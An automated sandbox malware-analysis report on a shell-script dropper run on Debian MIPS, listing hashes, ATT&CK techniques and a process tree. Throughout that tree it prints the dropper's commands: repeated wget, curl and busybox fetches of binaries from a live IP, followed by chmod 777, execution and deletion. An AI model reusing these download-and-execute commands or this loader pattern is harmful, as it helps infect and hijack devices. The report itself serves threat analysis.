3a3564911f8dd77349f1fc620062696204f6f53e48370a11993c5b20594a59a0

Analysis

max time kernel
74s
max time network
76s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
15/11/2024, 02:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3a3564911f8dd77349f1fc620062696204f6f53e48370a11993c5b20594a59a0.sh
Size 10KB
Sample241115-cva4eswpb1
SHA256 3a3564911f8dd77349f1fc620062696204f6f53e48370a11993c5b20594a59a0
MD5 400c8343aa387eaf40e4578be36c6d61
SHA1 0a5ec3aa58efd78202680392bc973bacf33762c2
SHA512 e550d999801b74569343b155aa6a161f2e02e8a8da250dc572ecf9743913c511ec550a9ffdf1989c599124a52d03768be34193d89a48af21d2de2a873382be61
SSDEEP 192:mFtrpJFBwBgBtAMb4oxJgJQJ9Wa/CO6MUC1q2sbSekE7777A7Pby73gYx7s0678r:EO+9WahGbgackCgQO+9Wanusc/
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
940	chmod
958	chmod
821	chmod
922	chmod
898	chmod
760	chmod
838	chmod
910	chmod
928	chmod
952	chmod
976	chmod
747	chmod
904	chmod
916	chmod
754	chmod
886	chmod
934	chmod
970	chmod
829	chmod
856	chmod
964	chmod
797	chmod
874	chmod
892	chmod
946	chmod
982	chmod
988	chmod
774	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD	curl
File opened for modification	/tmp/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn	curl
File opened for modification	/tmp/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE	curl
File opened for modification	/tmp/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7	curl
File opened for modification	/tmp/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU	curl
File opened for modification	/tmp/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn	curl
File opened for modification	/tmp/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw	curl
File opened for modification	/tmp/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR	curl
File opened for modification	/tmp/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw	curl
File opened for modification	/tmp/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD	curl
File opened for modification	/tmp/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk	curl
File opened for modification	/tmp/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE	curl
File opened for modification	/tmp/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW	curl
File opened for modification	/tmp/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW	curl
File opened for modification	/tmp/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h	curl
File opened for modification	/tmp/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0	curl
File opened for modification	/tmp/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0	curl
File opened for modification	/tmp/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7	curl
File opened for modification	/tmp/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz	curl
File opened for modification	/tmp/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk	curl
File opened for modification	/tmp/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h	curl
File opened for modification	/tmp/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR	curl
File opened for modification	/tmp/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka	curl
File opened for modification	/tmp/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU	curl
File opened for modification	/tmp/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj	curl
File opened for modification	/tmp/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz	curl
File opened for modification	/tmp/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka	curl
File opened for modification	/tmp/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj	curl

/tmp/3a3564911f8dd77349f1fc620062696204f6f53e48370a11993c5b20594a59a0.sh
/tmp/3a3564911f8dd77349f1fc620062696204f6f53e48370a11993c5b20594a59a0.sh
1⤵
PID:717
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:719
- /usr/bin/wget
  wget http://87.120.125.191/bins/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  PID:724
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  PID:744
- /bin/chmod
  chmod 777 cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  ./cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  PID:749
- /usr/bin/wget
  wget http://87.120.125.191/bins/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  PID:753
- /bin/chmod
  chmod 777 5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  ./5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm 5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  PID:756
- /usr/bin/wget
  wget http://87.120.125.191/bins/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  PID:759
- /bin/chmod
  chmod 777 cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  ./cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  PID:762
- /usr/bin/wget
  wget http://87.120.125.191/bins/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  PID:763
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  PID:771
- /bin/chmod
  chmod 777 yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  ./yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  PID:778
- /usr/bin/wget
  wget http://87.120.125.191/bins/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  PID:781
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  PID:794
- /bin/chmod
  chmod 777 mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  ./mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  PID:802
- /usr/bin/wget
  wget http://87.120.125.191/bins/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  PID:817
- /bin/chmod
  chmod 777 0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  ./0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  - Executes dropped EXE
  PID:822
- /bin/rm
  rm 0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  PID:824
- /usr/bin/wget
  wget http://87.120.125.191/bins/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  PID:828
- /bin/chmod
  chmod 777 iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  ./iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  - Executes dropped EXE
  PID:830
- /bin/rm
  rm iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  PID:831
- /usr/bin/wget
  wget http://87.120.125.191/bins/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  PID:832
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  PID:837
- /bin/chmod
  chmod 777 tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  ./tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  PID:840
- /usr/bin/wget
  wget http://87.120.125.191/bins/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:846
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  PID:854
- /bin/chmod
  chmod 777 X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  ./X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  - Executes dropped EXE
  PID:858
- /bin/rm
  rm X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  PID:860
- /usr/bin/wget
  wget http://87.120.125.191/bins/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  PID:871
- /bin/chmod
  chmod 777 lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  ./lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  PID:878
- /usr/bin/wget
  wget http://87.120.125.191/bins/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  PID:880
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  PID:885
- /bin/chmod
  chmod 777 HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  ./HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  PID:888
- /usr/bin/wget
  wget http://87.120.125.191/bins/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  PID:891
- /bin/chmod
  chmod 777 rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  ./rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm rWobc4wm6homMxSVyK4JetUZlZBtz3APH7
  2⤵
  PID:894
- /usr/bin/wget
  wget http://87.120.125.191/bins/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  PID:895
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  PID:897
- /bin/chmod
  chmod 777 agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  ./agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm agpBdU1C7K9G6C9lQrMkdAnlrVAGcVHUZz
  2⤵
  PID:900
- /usr/bin/wget
  wget http://87.120.125.191/bins/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  PID:903
- /bin/chmod
  chmod 777 XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  ./XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm XyeIKHX7A12GDp9Emw2esHFXbDYUVZsyHw
  2⤵
  PID:906
- /usr/bin/wget
  wget http://87.120.125.191/bins/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  PID:909
- /bin/chmod
  chmod 777 cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  ./cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm cn9EC1K7wEKBPDgXmtVVsL4I5r1rRItZWD
  2⤵
  PID:912
- /usr/bin/wget
  wget http://87.120.125.191/bins/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  PID:915
- /bin/chmod
  chmod 777 5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  ./5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm 5uwVX68pkejLQ1lPKk5TgmwyUwUvrkx0Ka
  2⤵
  PID:918
- /usr/bin/wget
  wget http://87.120.125.191/bins/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  PID:921
- /bin/chmod
  chmod 777 cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  ./cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm cgUx2WAJXDTog0oRW7kGSCRyJhYtUlSjZk
  2⤵
  PID:924
- /usr/bin/wget
  wget http://87.120.125.191/bins/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:926
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  PID:927
- /bin/chmod
  chmod 777 yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  ./yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm yP0kIb6euGE7z08rA5i1lYQtWuS04o0YKU
  2⤵
  PID:930
- /usr/bin/wget
  wget http://87.120.125.191/bins/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  PID:933
- /bin/chmod
  chmod 777 mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  ./mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm mxFDi0BGeUUULezqrt1GVwSvgGOq1lsBhj
  2⤵
  PID:936
- /usr/bin/wget
  wget http://87.120.125.191/bins/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  PID:937
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  PID:939
- /bin/chmod
  chmod 777 0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  ./0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  - Executes dropped EXE
  PID:941
- /bin/rm
  rm 0di3AQuLYsUvEWxeGSNdtDFoQRPhFRLtfn
  2⤵
  PID:942
- /usr/bin/wget
  wget http://87.120.125.191/bins/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  PID:943
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  PID:945
- /bin/chmod
  chmod 777 iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  - File and Directory Permissions Modification
  PID:946
- /tmp/iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  ./iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  - Executes dropped EXE
  PID:947
- /bin/rm
  rm iJ8FpFW1T0ebYBJOe97aX1jyOmfxZvgw9h
  2⤵
  PID:948
- /usr/bin/wget
  wget http://87.120.125.191/bins/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  PID:949
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:950
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  PID:951
- /bin/chmod
  chmod 777 tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  - File and Directory Permissions Modification
  PID:952
- /tmp/tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  ./tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  - Executes dropped EXE
  PID:953
- /bin/rm
  rm tDJ0dF6A4cs9JtnjHH25TpXPve4mKilVvR
  2⤵
  PID:954
- /usr/bin/wget
  wget http://87.120.125.191/bins/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  PID:955
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:956
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  PID:957
- /bin/chmod
  chmod 777 X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  ./X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm X6ul4vEg3brTbPpIf5kkwNfNZzGmrvIvbE
  2⤵
  PID:960
- /usr/bin/wget
  wget http://87.120.125.191/bins/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  PID:961
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  PID:963
- /bin/chmod
  chmod 777 lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  - File and Directory Permissions Modification
  PID:964
- /tmp/lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  ./lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  - Executes dropped EXE
  PID:965
- /bin/rm
  rm lSe1bSmMSz9gQcgIIAeswyPOlLJEQpk2i0
  2⤵
  PID:966
- /usr/bin/wget
  wget http://87.120.125.191/bins/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  PID:967
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/HRxmCa8Lryt3DNaufgY0hXaf6pM9SXGSTW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:968
